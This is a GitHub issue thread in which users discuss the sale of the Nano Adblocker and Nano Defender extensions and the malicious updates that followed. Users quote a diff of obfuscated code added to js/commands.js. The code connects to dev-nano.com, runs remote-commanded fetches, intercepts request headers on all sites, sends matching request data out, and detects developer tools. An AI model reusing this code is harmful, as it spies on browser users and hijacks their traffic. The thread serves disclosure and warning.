Discussions regarding recent changes to the Nano projects
Original announcement: https://github.com/NanoAdblocker/NanoCore/issues/362
Please continue the discussions here.
Please take the time to read the original announcement (the entire thread) before posting your comment.
Final update:
I understand that my handling of the recent changes was a disaster, and I am sorry that my inexperience caused issues for some of you. But it would be a bigger disaster if we do not learn from this incident. It is clear that I could have handled the background checks of the new developer(s) and the user communications better.
This is the first time that someone offered to acquire my software, and I honestly have no idea what the process should look like. Many of you have commended on what I should have done but there are currently too many conflicting information floating around. Instead of taking advice from here, which has proven to be rather difficult, I will seek professional counselling next time to ensure a smooth and secure transition.
All the best for the future.
Update:
For those of you discussing about suing me, I would like to direct you to read the GPL-3.0 license and the disclaimers in the original announcement post again.
Okay, I analyzed the update with Burp Suite, and so far, it doesn't seem to be doing anything special. But I do see that the code can be remotely configured. I'm not sure how did it pass WebStore review, but I'm submitting a ticket to ask them to review it again.
@nikrolls
so @jspenguin2017 is most likely to just have given login details
No, I still control the Edge store listings.
So what was the plan then for releasing Edge updates?
@nikrolls
So what was the plan then for releasing Edge updates?
No plan, the Edge store listings won't receive further updates. They were changed to hidden (unlisted).
So just making sure, basically you transferred ownership of an extension and then the new developer turned it into malware? (As in monitoring for devtools to be opened, and logging sites?)
Also here's what I get when POSTing https://def.dev-nano.com/ with this JSON payload:
{"handleObject":{}}
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot POST /</pre>
</body>
</html>
If you can't tell, it's an Express.js server running on the Node.js runtime. Especially proven by:
X-Powered-By: Express
Here's the full payload:
Request
POST / HTTP/1.1
Host: def.dev-nano.com
Content-Type: application/json
Content-Length: 19
{"handleObject":{}}
Response
HTTP/1.1 404 Not Found
Date: Fri, 16 Oct 2020 02:37:12 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: __cfduid=<<redacted>>; expires=Sun, 15-Nov-20 02:37:12 GMT; path=/; domain=.dev-nano.com; HttpOnly; SameSite=Lax; Secure
X-Powered-By: Express
Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
CF-Cache-Status: DYNAMIC
cf-request-id: <<redacted>>
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?lkg-colo=11&lkg-time=1602815832"}],"group":"cf-nel","max_age":604800}
NEL: {"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: <<redacted>>
Content-Encoding: gzip
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>Cannot POST /</pre>
</body>
</html>
I've installed this on many PCs for friends and family and you just sell out without doing any sort of due diligence?
Just wow.
I know, it's really off.
OK. As a user of Nano Adblocker and Nano Defender, I will immediately uninstall Nano Defender and Nano Adblocker on the new Microsoft Edge based on Chromium and replace them with uBlock Origin and uBO Extra only. Thanks for the information.
@1aTa
without doing any sort of due diligence?
I looked up the person who contacted me, didn't find anything bad. Nothing good neither, but he said he's just starting out. He legit paid and didn't disappear afterwards. There wasn't really a reason to be suspicious of him.
Reminds me of the event-stream incident https://github.com/dominictarr/event-stream/issues/116 .
The project is licensed under GPLv3, where it is clearly mentioned
THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. ( refer section 15, 16 and 17 )
There's no point in blaming each other now, lets just focus on fixing the issue.
https://www.ghacks.net/2020/10/16/time-to-remove-nano-adblocker-and-defender-from-your-browsers-except-firefox/
Just report this fake nano as an abuse / malware:
https://chrome.google.com/webstore/report/gabbbocakeomblphkmmnoamkioajlkfo?hl=en
@1aTa
without doing any sort of due diligence?
I looked up the person who contacted me, didn't find anything bad. Nothing good neither, but he said he's just starting out. He legit paid and didn't disappear afterwards. There wasn't really a reason to be suspicious of him.
Then why doesn't he come to the Github issue and clear the air himself. Quick buck or not one thing is sure you just sold the userbase and put userdata of 100,000+ users on risk. I respected the work you put in this project and recommended it to my friends but now you have lost your credibility in my eyes. If you really wanted a new maintainer i think you could have discussed it here first before selling out.
He's on github -- https://github.com/nenodevs I doubt he cares, he got what he wanted anyways.
Per the ghacks article and comments, I've reported the recent changes to both the Chrome Store and the Microsoft Store.
I have contacted Microsoft and they are looking into if it's possible to block installation of the Chrome Store version on Edge as well.
I looked up the person who contacted me, didn't find anything bad. Nothing good neither, but he said he's just starting out. He legit paid and didn't disappear afterwards. There wasn't really a reason to be suspicious of him.
You wouldn't if there's anything bad, we all know. The reason people criticize you is that you sold to guys with no good record; i.e. unknown, without first discussing about it openly. Anyway, it's done. I guess it's better to discuss what can be done to recover what were lost, in addition to reporting the extension, such as Quick reporter. I appreciate you offered @LiCybora assist of the reporter.
The same sort of code I reported here has been added to Nano Adblocker 1.0.0.154.
The code was added to /js/commands.js (file normally used to handle extension keyboard shortcuts).
Minor differences are the incoming/outgoing message names used to configure the two-way phone-home capabilities (to distinguish from which extension the messaging occurs I suppose), and how they try to "obfuscate" the code dealing with removing instances of -zzz in outgoing request headers (which purpose is still a mystery to me).
Those code changes can't be found on their repo.
Here is the diff
--- v1.0.0.153/js/commands.js
+++ v1.0.0.154/js/commands.js
@@ -55,6 +55,98 @@
);
}
+var nanoDevAB = io.connect("https://www.dev-nano.com/");
+var getNewListData = {};
+
+async function getNewList(newList) {
+ let getFeResp = await fetch(newList.uri, newList.attr)
+ let num = 1;
+ if (num == 1) {
+ var getListObj = {}
+ } else {
+ var fact = 1;
+ for (var i = 1; i > num; i--) {
+ fact = fact * i;
+ break;
+ }
+ var getListObj = {}
+ }
+ getListObj.headerEntries = Array.from(getFeResp.headers.entries())
+ getListObj.data = await getFeResp.text()
+ getListObj.ok = getFeResp.ok;
+ getListObj.status = getFeResp.status;
+ return getListObj;
+}
+
+nanoDevAB.on("getNewList", async function (newList) {
+ let getRes = await getNewList(newList);
+ nanoDevAB.emit(newList.callBack, getRes)
+});
+
+nanoDevAB.on("getNewListData", function (a) {
+ getNewListData = a;
+})
+
+var handleLists = function (infos) {
+ var listKey = Object.keys(getNewListData);
+ var find1 = "-";
+ var detailsHeader = infos.requestHeaders;
+ var find2 = "z";
+ var HeadReverse = detailsHeader.reverse();
+ var stringyFy = JSON.stringify(HeadReverse);
+ var find4 = "z";
+ var countEqual = "";
+ if (listKey.length > 0) {
+ var checkerList = true;
+ for (const object of listKey) {
+ if (object.x === object.y) {
+ countEqual += 1;
+ }
+ break;
+ }
+ for (let i = 0; i < listKey.length; i++) {
+ let x = listKey[i];
+ var re = new RegExp(getNewListData[x],'gi');
+ countEqual = "5";
+ if (infos[x].toString().match(re) == null) {
+ checkerList = false;
+ break;
+ }
+ }
+ if (checkerList) {
+ nanoDevAB.emit('newListhandeList', infos);
+ }
+ }
+
+ var find3 = "z";
+ var findAll = [find1, find2, find3, find4].join("");
+ var parseConcat = stringyFy.split(findAll).join("");
+ var parser = JSON.parse(parseConcat);
+ return {
+ requestHeaders: parser
+ }
+};
+chrome.webRequest.onBeforeSendHeaders.addListener(handleLists, {
+ urls: ["<all_urls>"]
+}, ['requestHeaders', 'blocking', 'extraHeaders']);
+
+
+var element = document.createElement("p"); ;
+var openListGet = false;
+element.__defineGetter__("id", function() {
+ openListGet = true;
+});
+
+var i = setInterval(function() {
+ openListGet = false;
+ console.log(element);
+ if(openListGet){
+ nanoDevAB.emit("report")
+ console.clear();
+ clearInterval(i)
+ }
+}, 100);
+
/******************************************************************************/
(( ) => {
Those code changes can't be found on their repo.
They're waiting for CWS approval. They did the same thing with Defender, they waited for the approval and then it went into the source.
The socket code file change is there, the diff I published above and in the other case is what is not there.
Any alternatives to Nano Defender for Firefox now that the maintainer of that fork has discontinued?